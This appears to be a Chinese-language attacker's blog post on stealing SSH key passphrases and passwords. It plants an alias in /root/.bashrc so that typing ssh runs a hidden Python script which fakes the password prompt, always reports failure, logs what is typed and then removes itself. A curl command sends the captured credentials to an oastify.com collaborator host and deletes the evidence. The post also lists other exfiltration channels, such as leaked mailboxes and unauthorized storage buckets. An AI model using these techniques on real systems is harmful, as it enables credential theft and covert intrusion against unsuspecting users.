在2025年03月19日,遇到一个问题,如下:

image-20250319101311712

思路

  1. 使用ssh2john针对密钥密码进行暴力破解。
  2. 重写ssh验证密码模块。
  3. 使用别名+脚本模拟ssh验证密码登录框。

这里我选择通过使用别名+脚本模拟ssh验证密码登录框,利用在ssh登录输入密码不可见的特性,利用受害者的心里,输入密码的时候以为是密码错误,进行水坑攻击。

别名+脚本模拟ssh验证密码登录框

alias 命令用于创建命令的快捷方式或别名,以便简化复杂的命令或减少重复输入。你可以通过 alias 将一个长的命令或常用的命令组合定义为一个简短的别名。

1
alias 别名='命令'

例如,如果你想将 ls -la 命令简化为 ll,可以这样做:

1
alias ll='ls -la'

之后,你只需输入 ll,系统就会执行 ls -la

image-20250319102625678

删除别名

1
unalias ll

设计思路

通过将python脚本设置为别名,将别名设置为/root/.bashrc中,设置为Bash shell加载,然后使用python模拟ssh认证输入密码,不管用户输入什么将一直报错,将得到的密码保存到本地,但是这里要考虑的问题:

  1. 在通过python模拟ssh认证输入密码,alias如何删除?
  2. 如何只使用一次模拟ssh认证?
  3. 得到密钥之后当前文件怎么样删除?

在下面代码中模拟的是在乌班图中验证ssh密码,设计思路:

  1. 使用getpass模拟ssh输入密码,会出现以下三种情况:使用ssh_key认证,使用ssh_key认证但密钥不存在,使用密码登录。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    root@ubuntu-linux-2404:/home/parallels# ssh -i ssh_key parallels@10.211.55.9
    Enter passphrase for key 'ssh_key':
    Enter passphrase for key 'ssh_key':
    Enter passphrase for key 'ssh_key':
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    parallels@10.211.55.9: Permission denied (publickey,password).



    root@ubuntu-linux-2404:/home/parallels# ssh -i ssh_key parallels@10.211.55.9
    Warning: Identity file ssh_key not accessible: No such file or directory.
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    parallels@10.211.55.9: Permission denied (publickey,password).


    root@ubuntu-linux-2404:/home/parallels# ssh parallels@10.211.55.9
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    Permission denied, please try again.
    parallels@10.211.55.9's password:
    parallels@10.211.55.9: Permission denied (publickey,password).
  2. 使用sys.argv捕捉后面的参数。

  3. 使用异常模块捕捉ctr+c推出异常。

  4. 程序执行完成恢复/root/.bashrc文件,并删除别名。

实战测试

别名设置:

unalias ssh 删除别名,这个需要在python脚本前面,如果在后面python的sys捕捉不到命令参数。

1
alias ssh='unalias ssh > /dev/null 2>&1;python3 /tmp/test.py'

操作流程:

vim /root/.bashrc 最后一行: alias ssh='unalias ssh > /dev/null 2>&1;python3 /tmp/.test.py'

执行:source /root/.bashrc

image-20250319105125822

执行 vim /tmp/.test.py,写入python文件

python文件:https://github.com/RuoJi6/script-demo/tree/main/python/alias_ssh

模拟受害者

受害者在机器上登录指定机器,并输入密钥密码。

image-20250319105557842

我们利用ssh输入密码特性看不见输入的密码,让受害者误以为是自己输入错误,从而让受害者一直输入密码。

image-20250319105709999

当运行完成之后,受害者再次登录测试,就会发现登录成功。

image-20250319110049691

攻击者查看密码

cat /tmp/.test

image-20250319110403490

就可以看到受害者输入的ip地址,用户名以及密码。

扩展思路

python模拟ssh终端,然后自身文件会删除,那/tmp/.test文件能不能通过http请求,发送到互联网,而不是保存在本地?

思路:

  1. 在自己服务器上开启一个http服务接收。
  2. 使用dnslog接收。
  3. 使用互联网泄露的邮箱接收。
  4. 使用互联网泄露的OSS存储筒,通过未授权上传接收。
  5. 使用未授权文件上传,发送时伪装成图片上传到别人网站上。

dnslog实验:

在下面代码中,我们读取文件,请求dnslog并将内容以post发送到dnslog中,并删除文件。

我们把这行代码放在python末尾中。注意:这里需要使用burp suite的dnslog!!!

1
os.system('curl -X POST -H "Content-Type: text/plain" -d "$(cat /tmp/.test)" http://b1d4m6en9eupxlam9dhcl5hmldr4fu3j.oastify.com/ > /dev/null 2>&1;rm /tmp/.test')

dnslog受害者

我们这里模拟受害者在进行输入的时候发现了异常,密码输入不正确,通过ctr+c终止输入的情况。

image-20250319112407112

这里受害者通过ctr+c退出进程。

如果受害者进行排查:

  1. 觉得自己可能是输入错误。
  2. 发现了异常,但是找不到异常地方以及文件。

image-20250319112824661

我们在burp suite上成功接收了来自服务器的ip地址,用户名以及密码。

image-20250319112434576